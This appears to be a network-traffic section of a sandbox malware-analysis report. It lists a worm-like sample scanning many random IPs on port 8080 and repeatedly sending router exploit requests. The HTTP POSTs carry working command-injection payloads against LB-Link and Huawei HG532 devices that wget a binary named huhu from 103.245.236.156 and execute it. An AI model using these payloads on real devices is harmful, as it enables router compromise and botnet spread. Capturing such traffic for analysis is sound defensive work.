Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 126.137.158.12:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 81.47.27.15:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 115.157.139.14:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 78.80.18.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 163.117.223.60:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 82.189.1.253:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 132.134.132.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 49.29.253.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 70.67.196.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 8.245.32.163:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 218.7.23.100:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 116.136.218.245:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 174.216.17.40:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 180.29.150.22:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 51.11.88.134:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 175.193.17.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 104.221.66.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 141.60.92.168:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 162.22.215.224:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 125.83.184.36:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 212.155.18.154:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 67.90.20.129:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 124.96.162.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 64.193.205.226:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 129.143.170.80:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 17.232.88.158:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 203.45.252.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 23.17.194.73:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 216.108.123.70:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 79.240.130.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 188.40.12.214:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 150.102.12.93:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 2.160.139.30:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 63.101.197.134:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 154.126.199.18:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 4.74.191.182:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 194.108.3.44:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 99.170.13.71:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 139.82.37.16:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 161.174.18.75:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 91.43.163.87:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 174.233.148.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 12.210.176.41:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 59.152.85.65:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 203.121.205.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 89.0.6.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 49.208.37.34:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 183.204.25.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 189.238.18.171:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 1.208.46.222:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 80.194.70.138:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 90.244.40.213:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 67.88.223.216:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 160.173.18.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 158.194.255.167:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 27.83.28.143:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 98.159.210.236:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 148.121.237.14:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 13.132.235.71:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 196.154.98.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 50.69.55.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 187.104.137.162:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 92.240.102.192:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 110.132.172.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 104.220.35.218:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 223.44.74.107:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 88.128.122.235:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 12.80.97.243:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 185.41.17.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 194.8.164.155:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 108.226.243.76:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 219.119.190.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 148.50.175.1:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 143.135.178.62:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 71.59.177.142:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 17.104.46.73:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 106.217.12.236:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 87.93.176.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 91.98.162.214:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 141.44.43.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 72.232.149.44:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 114.222.164.198:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 204.117.93.129:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 35.130.217.134:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 199.234.190.65:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 52.103.112.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 104.113.142.147:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 52.243.233.4:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 54.90.112.107:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 213.215.235.133:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 218.235.247.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 183.71.22.167:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 138.28.54.157:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 143.143.145.112:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 50.207.228.71:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 34.208.87.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 180.92.141.204:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 114.43.240.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 86.218.44.143:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 122.203.36.47:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 66.248.199.208:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 79.54.207.133:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 52.96.146.252:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 160.137.125.68:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 191.98.74.120:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 61.73.122.245:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 202.168.145.177:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 126.125.43.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 23.181.152.112:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 14.121.167.203:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 204.62.195.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 38.157.221.178:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 171.246.69.31:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 90.10.35.105:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 67.5.213.41:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 112.79.184.145:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 193.213.198.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 93.2.223.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 62.211.202.68:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 85.242.74.250:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 203.74.108.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 52.39.155.165:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 131.106.6.214:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 78.147.254.229:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 25.164.228.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 162.223.246.243:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 100.230.22.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 191.218.180.42:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 161.154.147.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 150.206.10.128:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 183.134.174.183:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 5.222.3.191:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 212.254.51.147:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 184.175.24.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 112.199.222.238:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 97.189.108.182:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 213.177.246.157:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 213.12.128.9:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 65.65.217.173:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 8.37.252.159:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 68.58.37.129:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 20.177.47.238:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 23.11.179.140:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 201.108.245.232:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 76.105.178.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 155.195.30.243:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 195.201.123.14:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 110.226.131.224:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 136.188.103.38:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 206.55.193.18:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 182.230.78.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 148.238.42.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 57.18.133.207:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 164.87.12.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 106.81.248.108:8080
Source: global traffic	TCP traffic: 192.168.2.15:6684 -> 108.242.13.237:8080

Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
